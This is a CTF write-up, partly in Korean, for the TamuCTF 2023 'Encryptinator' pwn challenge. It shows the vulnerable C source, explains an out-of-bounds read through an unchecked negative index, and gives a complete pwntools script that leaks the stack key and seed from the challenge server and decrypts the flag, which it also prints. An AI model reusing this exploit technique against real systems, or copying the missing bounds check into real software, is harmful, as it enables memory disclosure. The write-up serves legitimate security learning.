Tamu CTF 2023 - Encryptinator (pwn, oob read)

I have made this super secure encryption engine. I’ll encrypt any message and no one will ever be able to read it. Not even me!
Author: _mac_

  • [31 solves / 491 points]

Analysis

바이너리와 소스코드를 제공해준다. libc도 제공해줬다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>

#define MAX_LEN 1024
#define FLAG_LEN 30

void upkeep() {
// Not related to the challenge, just some stuff so the remote works correctly
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}

void print_hex(char* buf, int len) {
for (int i=0; i<len; i++) {
printf("%02x", (unsigned char)buf[i]);
}
printf("\n");
}

void encrypt(char* msg, int len, char* iv) {
char key[len];
FILE *file;

file = fopen("/dev/urandom", "rb");
fread(key, len, 1, file);
fclose(file);

for (int i=0; i<len; i++) {
msg[i] = msg[i] ^ key[i] ^ iv[i % 8];
}
}

void randomize(char* msg, int len, unsigned long seed, unsigned long iterations) {
seed = seed * iterations + len;

if (iterations > 1) {
randomize(msg, len, seed, iterations- 1); // 실행시켜야 스택이 높아져서 print_hex할 때 encrypt함수의 key 값이 남아있음
} else {
encrypt(msg, len, ((char *) &seed)); // 안그러면 key 값이 덮혀서 안보임
}
}

char menu() {
char option;
printf("\nSelect from the options below:\n");
printf("1. Encrypt a message\n");
printf("2. View the encrypted message\n");
printf("3. Quit\n");
printf("> ");
scanf("%c", &option);
while (getchar() != '\n');
return option;
}

void console() {
FILE* file;
long seed;
int index;
int read_len;
char buf[MAX_LEN] = "";
int len = -1;

while (1) {
switch(menu()) {
case '1':
// get user input
printf("\nPlease enter message to encrypt: ");
fgets(buf, MAX_LEN-FLAG_LEN, stdin);
len = strlen(buf);

// add flag to the buffer
file = fopen("flag.txt", "rb");
fread(buf + len, FLAG_LEN, 1, file);
fclose(file);
len += FLAG_LEN;

// encrypt
seed = ((long) rand()) << 32 + rand();
randomize(buf, len, seed, buf[0]);
break;
case '2':
if(len == -1) {
printf("Sorry, you need to encrypt a message first.\n");
break;
}

index = 0;
printf("\nRead a substring of the encrypted message.");
printf("\nPlease enter the starting index (%d - %d): ", index, len);
scanf("%d", &index);
while (getchar() != '\n');

if (index > len) {
printf("Error, index out of bounds.\n");
break;
}

printf("Here's your encrypted string with the flag:\n");
print_hex(buf+index, len - index); // oob read
break;
case '3':
printf("goodbye.\n");
exit(0);
default:
printf("There was an error processing that request, please try again.\n");
break;
}
}

}


int main() {
srand(time(NULL));
upkeep();

// welcome
printf("Welcome to my encryption engine: ENCRYPT-INATOR!\n");
printf("I'll encrypt anything you want but no guarantees you'll be able to decrypt it,\n");
printf("I haven't quite figured out how to do that yet... :(\n");
console();
}

2번 메뉴에서 index가 음수가 가능하기 때문에 print_hex(buf+index, len - index);에서 oob가 발생할 수 있다. buf 이전에 있는 것을 출력할 수 있다. 이것으로 seedkey를 구할 수 있다.

사실상 seedkey만 알면 flag는 바로 구할 수 있을 것 같다. 참고로 encrypt된 flag도 print_hex(buf+index, len - index);를 통해서 바로 구할 수 있기 때문에 당연히 flag를 계산할 수 있다.

1
2
3
for (int i=0; i<len; i++) {
msg[i] = msg[i] ^ key[i] ^ iv[i % 8];
}

xor을 한 번 더 진행하면 된다.

key를 leak할 때 주의해야할 것이 있다. 주석에도 써놨듯이 randomize() 함수에서 iteration이 1 이상이어야 randomize(msg, len, seed, iterations- 1); 을 한 번 더 호출하는데, 이렇게 해야지 stack이 높아져서 key 값이 남아있다.

Solve

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *
from time import sleep

context.arch = 'amd64'
# context.log_level = 'DEBUG'

p = remote("tamuctf.com", 443, ssl=True, sni="encryptinator")
# p = process('./encryptinator')
e = ELF('./encryptinator')

p.sendlineafter('> ', str(1))
payload = b'a' * 7
# pause()
p.sendlineafter(':', payload)

p.sendlineafter('> ', str(2))
# pause()
p.sendlineafter(':', str(-4800))

p.recvline()
# sleep(2)

key_leak = p.recvline()[:38*2]
print('key_leak')
print(repr(key_leak))

key = []
for i in range(0, 76, 2):
key.append(int(key_leak[i:i+2], 16))

print(repr(key))

p.sendlineafter('> ', str(2))
# pause()
p.sendlineafter(':', str(-4648))


p.recvline()
# sleep(3)
seed_leak = p.recvline()[:8*2]
print(repr(seed_leak))

seed = []
for i in range(0, 16, 2):
seed.append(int(seed_leak[i:i+2], 16))

print(repr(seed))

p.sendlineafter('> ', str(2))
# pause()
p.sendlineafter(':', str(0))

p.recvline()
# sleep(3)
flag_leak = p.recvline()[:38*2]

flag = []
for i in range(0, 76, 2):
flag.append(int(flag_leak[i:i+2], 16))

print(repr(flag))

real_flag = []
for i in range(0, 38):
flag[i] = flag[i] ^ key[i] ^ seed[i % 8]
real_flag.append(chr(flag[i]))

print("####")
print(repr(flag))

real_flag = ''.join(real_flag)
print(repr(real_flag))

p.interactive()

Flag

1
gigem{00ps_b4d_3rr0r_ch3ck1ng}